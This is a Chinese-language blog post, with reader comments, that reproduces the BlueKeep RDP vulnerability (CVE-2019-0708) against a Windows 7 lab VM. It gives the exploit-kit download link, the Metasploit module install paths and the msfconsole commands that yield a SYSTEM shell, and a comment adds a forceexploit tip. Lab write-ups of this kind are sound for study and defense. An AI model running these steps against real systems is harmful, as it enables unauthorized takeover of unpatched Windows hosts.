RDP漏洞CVE-2019-0708复现

0x01漏洞描述


在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务(RDS)的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。

自该补丁于5月发布以来,该漏洞受到了安全行业的广泛关注,在野利用漏洞只是时间问题。


在9月7号的凌晨GitHub上公布可利用的EXP,可是正忙于项目无法及时复现。于是今晚趁着无聊复现一波,环境如下。
 
攻击机ip(kali linux):192.168.1.105
靶   机ip(win7  SP1) :192.168.1.106
win7 SP1 镜像地址:
ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/

CVE-2019-0708套件:
https://pan.baidu.com/s/1HqmKbp4ZjMsUm0gRlTEVFQ 提取码: vkqw

0x02 复现过程
复现的时候也是有很多问题,我使用的metasploit的版本是5.0.22,所以无法适配最新的cve-2019-0708漏洞的套件,所以要在kali中更新一波metasploit。
执行两行代码可直接更新:
apt-get update
apt-get install metasploit-framework


7.png

 
 
 更新过后即可将套件放至各个模块文件下,但是在这个过程中我所看到的博客里面看到的都是一个路径,而这个路径是手动安装metasploit时候的安装路径,所以在放至路径的时候出错将会出现如下错误。
[-] 192.168.1.106:3389 - Exploit failed: NameError undefined local variable or method `rdp_connect' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007f9c251837b0>
复现过程中这个也是最浪费时间的一个地方了,最后在kali linux 论坛中找到了kali中metasploit的模块路径。在下载套件之后将文件移动到各个文件夹下即可
rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit 

rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp

需要注意如果没有目录就去创建个。

接下来就可以进入metasploit控制台操作了,进入之后先要重新加载所有模块
reload_all
之后直接搜索0708漏洞。
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > search 0708
=======

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
1 exploit/windows/browser/clear_quest_cqole 2012-05-19 normal No IBM Rational ClearQuest CQOle Remote Code Execution
2 exploit/windows/browser/tumbleweed_filetransfer 2008-04-07 great No Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow
3 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
4 auxiliary/windows/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check







 
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.1.106
set target 3
exploit

target 参数在其他各个博客当中都讲到如果是VMware需要设置为3,所以我依照参考设置为3。

info.png

 
 
现在就是开开心心的等待shell的出现啦

8.png

 
 
等了大概两分钟,,终于结果出来了!!目标直接蓝屏!!?难道这是蓝屏的EXP!?

2.png

 
于是我又尝试了两三次,,结果靶机依然是蓝屏崩溃,,这如果是生产环境可不得了。
最后继续看别人博客发的文章,发现也没有什么区别的,无奈之下我只好改变target参数的值了。
set target 1
exploit

随后进入的就是漫长的等待了,正当要绝望,准备设置为参数2的时候,他来了,他来了,他真的来了~~

4.png

赶紧回头看看靶机有没有什么异常

3.png

 
激动的时候我又在想,为什么 target 1 的时候能够成功拿下shell,看了一下info信息之后只有 target 1 后面没有什么特殊的环境限制,可能就会兼容的更多一些??
 
CVE-2019-0708拿下shell之后直接为SYSTEM权限

6.png

 
至此复现结束。
 
0x03 漏洞危害
目前公布的影响范围:
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP

该漏洞的影响范围巨大,甚至能和MS17-010相媲美,但是在实际利用过程中也可能造成实际生产环境的破坏,所以在检测是还是用scanner中的检测模块较好。
 
参考:
http://kalilinux.com.cn/index.php/archives/82/
https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247485263&idx=2&sn=da247e593463b63b2253b0ce62787b69&chksm=fa51d2f1cd265be716d2517ddcfcc98e1bb3649181b3d250f66b05e0aa1b3a320b41ea901a13&mpshare=1&scene=1&srcid=0911j78dzFjBRUY6uHzeIEbd&sharer_sharetime=1568180742252&sharer_shareid=76a06f4576675deef8179292e6236ed2&key=42700e604ea8a865f4775c719d7fa0111b4d283e9036ad7e74b1d58709285c96c23987125384d5e4176b427f4328950e58897c622b1770d3eb1efef0c3c3b8cee305be0483e2224d3d821b2f262b9db0&ascene=1&uin=Mjc1NzUxODY0MA%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=pAtBeQgmLbQrU%2Ft5nmU5pDFshboLEjqWILQbnelerMwoTPAwAp9JrFvGZDC7xh0r
 
第二个链接有非常非常详细的原理讲解,想看的大佬可以看看。

4 个评论

太棒了
llpkk

llpkk 回复 wuyou

EXP不稳定,,主要还是看脸了
这个版本的exp并不是看脸,如果目标主机会蓝屏,那就再加上 set forceexploit true;这条命令,就能成功的返回shell。在2019.4版本的kali中的exp则不需要设置这个参数直接返回shell。target 参数设置为1就好。若复现出现问题,可以参考算命瞎子的文章:http://www.nmd5.com/?p=409
学到了

要回复文章请先登录注册